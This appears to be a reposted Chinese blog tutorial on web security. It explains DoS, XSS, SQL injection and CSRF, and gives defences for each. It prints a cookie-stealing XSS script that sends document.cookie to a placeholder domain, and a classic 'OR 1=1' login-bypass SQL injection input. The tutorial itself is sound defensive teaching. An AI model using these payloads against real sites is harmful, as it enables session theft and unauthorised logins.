WEB安全

1、DOS 拒绝服务攻击

DdoS的攻击方式有很多种，最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源，从而使合法用户无法得到服务的响应。

Ddos攻击利用的就是合理的服务请求，所以但凡网站都存在这一风险。既然不可避免，就加强防御吧。

2、跨站脚本攻击（CSS OR XSS） cross site script

　　相信绝大多数人对跨站脚本弱点已经早有耳闻。２００６年全球网络安全弱点Top10排名当中，它荣登榜首！为什么它有如此之大的影响力呢？个人觉得原因有三：其一、攻击难度小。不管是技术还是实现攻击的成本上都比较容易；其二、它存在的载体（浏览器）使用极其广泛；其三、它所依赖的技术被广泛的应用与支持（Javascript,VB Script, HTML,ActiveX, Flash）。说了这么多，它到底是什么呢？

　　XSS是一种存在Web应用中，攻击者向Web中插入恶意可执行网页脚本代码，当用户浏览器该页时，嵌入在web里面的脚本代码就会被执行，从而愚弄其他用户或获取其他用户重要数据和隐私信息。XSS可使用的技术有JavaScript、VBScript、 ActiveX、 或 Flash， 且通常通过页面表单提交注入到web应用中并最终在用户的浏览器客户端执行。例如，一个没有经过安全设计并实现的论坛，当你在跟贴时在正文输入这样的代码：
<script>window.location.href='MyDomain.com?cookie=' + document.cookie</script>;
这段代码是获取当前页面的cookie值，并将cookie值传递到另一个名为MyDomain.com的网站中，利用这种模式黑客可以获取用户信息或将用户跳转到钓鱼网站来达到自己的目的。

XSS地攻击方式分为以下几种类型：

（1）非持久型XSS

　　一般是通过给别人发送带有恶意脚本代码参数的URL，当url地址被打开时，将cookie信息作为参数传递过去。

       特点：

• 即时性，不经过服务器存储，直接通过HTTP的post或get请求就能完成一次攻击，拿到用户的隐私数据。
• 攻击者需要诱骗用户点击
• 反馈率低，所以较难发现和响应修复。

非持久型XSS预防：

• web页面渲染的所有数据都必须来自服务端；
• 尽量不要从URL、document.form等这种DOM API中获取数据直接渲染；
• 尽量不要使用document.write()、innerHTML等可执行字符串的方法。

 

（2）持久型XSS

　　一般存在于FORM表单提交等交互功能，如发帖留言，提交文本信息等，持久性的来源不是url，而是后端从数据库中读取出来的数据，持久性不需要诱骗用户点击，黑客只需要在提交表单的地方完成注入即可。

　　攻击成功需要满足以下几个条件：

• POST请求提交表单后没有做转义直接入库。
• 后端从数据库中取出的数据没有做转义直接输出给前端
• 前端拿到后端数据没有做转义直接渲染成DOM

 持久型XSS预防：

• 后端在接收前端数据后，将所有字段统一做转义处理；
• 后端输出给前端的数据统一进行转义处理；
• 前端在渲染页面DOM时应该选择不相信任何后端数据，任何字段都要做转义处理

 

解决方案：
　　（1）将重要的cookie标记为HttpOnly，在设置cookie时接收这个参数，使得浏览器中的document对象看不到cookie，这样就不能通过document.cookie获取用户信息了。

       （2）输入过滤。永远不要相信用户的输入，对用户的输入做一定的过滤，如输入的数据是否符合预期的格式。这个措施只是在web端做了限制，攻击者通过抓包工具如Fiddler还是可以绕过前端输入的限制，修改请求注入攻击脚本。因此后台服务器需要在接收到用户输入的数据后，对特殊危险字符进行过滤或转义处理，然后再存储到数据库中。

　　<script type='text/javascript'>alert('hello world')</script>转义为："&lt;script type='text/javascript'&gt;alert('hello world')&lt;/script&gt;"

　　（3）对服务器输出的数据进行转义处理。服务器端输出到浏览器的数据，可以使用系统的安全函数进行编码或转义来防范XSS攻击。

3、SQL注入攻击(SQL injection)

　　是在输入的字符串之中注入SQL指令且程序中没有检查，那么这些注入的指令就会被数据库服务器误认为是正常的SQL指令而执行。

　　SQL注入攻击指的是通过构建特殊的输入作为参数传到Web应用程序，而这些输入大都是SQL语法中的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。

　　根据相关技术原理，SQL注入分为平台层注入和代码层注入，前者由不安全的数据库配置或数据库平台的漏洞所致；后者主要是由于程序员对输入未进行细致的过滤，从而执行了非法的数据查询。

　　因此，SQL注入产生的原因通常表现在一下几方面：

• 不当的类型处理
• 不安全的数据库配置
• 不合理的查询集处理
• 不当的错误处理
• 转义字符处理不合适

例如：某网站的登录验证的SQL查询语句为：

 

strSQL="SELECT * FROM user WHERE(name="+username+")and(pw="+password+")";

 

恶意填入：

username="'1'OR '1'='1'"与password="'1'OR '1'='1'"

将导致原来的SQL语句变为：

strSQL="SELECT * FROM user WHERE(name='1'OR '1'='1')and(pw='1'OR '1'='1')";

上面查询语句任何情况下均为真，因此达到无账号密码亦可登陆网站。

 

 

解决方法：

（1）永远不要相信用户的输入，对用户的输入进行校验，可以通过正则表达式或限制长度，对单引号以及双“-”进行转换等。

（2）永远不要使用动态拼装SQL，可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

（3）永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接

（4）不要把机密信息明文存放，请加密或者hash掉密码和敏感的信息。

4、CSRF攻击

CSRF(Cross Site Request Forgery)跨站点请求伪造，CSRF攻击者在用户已经登陆目标网站之后，诱使用户访问一个攻击页面，然后利用目标网站对用户的信任，以用户身份在攻击页面对目标网站发起伪造用户操作的请求，达到攻击的目的。

攻击者盗用用户身份，以用户身份发送恶意请求。

例如：当用户登录网络银行去查看存款余额，在他没有退出的情况下，就点击了好友发来的链接，那么该用户银行账户中的资金就有可能被转移到攻击者指定的账户中了。

CSRF攻击源于WEB的隐式身份验证机制！WEB的身份验证机制虽然可以保证一个请求是来自某个用户的浏览器，但是却无法保证该请求是用户批准发送的。

完成一次CSRF攻击，用户需依次完成两个步骤：

（1）登录目标网站A，并在本地生成cookie

（2）在不登出目标网站A的情况下，访问危险网站B

解决方案：

（1）尽量使用POST，限制get

（2）浏览器cookie限制

（3）加验证码，强制需要用户进行交互才能操作，跟csrf在用户不知情的情况下进行攻击的方式相悖。

（4）使用令牌token

（5）验证Referer（请求的页面），攻击者的页面与用户的页面不是同一个

例：

1. 用户访问某个表单页面。

2. 服务端生成一个随机数Token，放在Session中，或者浏览器的Cookie中，将Token发给客户端。

3. 下次页面提交请求时，在页面表单附带上Token参数一起提交到服务器。

4. 用户提交请求后， 服务端验证表单中的Token是否与用户Session（或Cookies）中的Token一致，一致为合法请求，不是则非法请求。

这个Token的值必须是随机的，不可预测的。由于Token的存在，攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性，尽量把敏感操作由GET改为POST，以form或AJAX形式提交，避免Token泄露。

转载于:https://www.cnblogs.com/xiaoan0705/p/8645207.html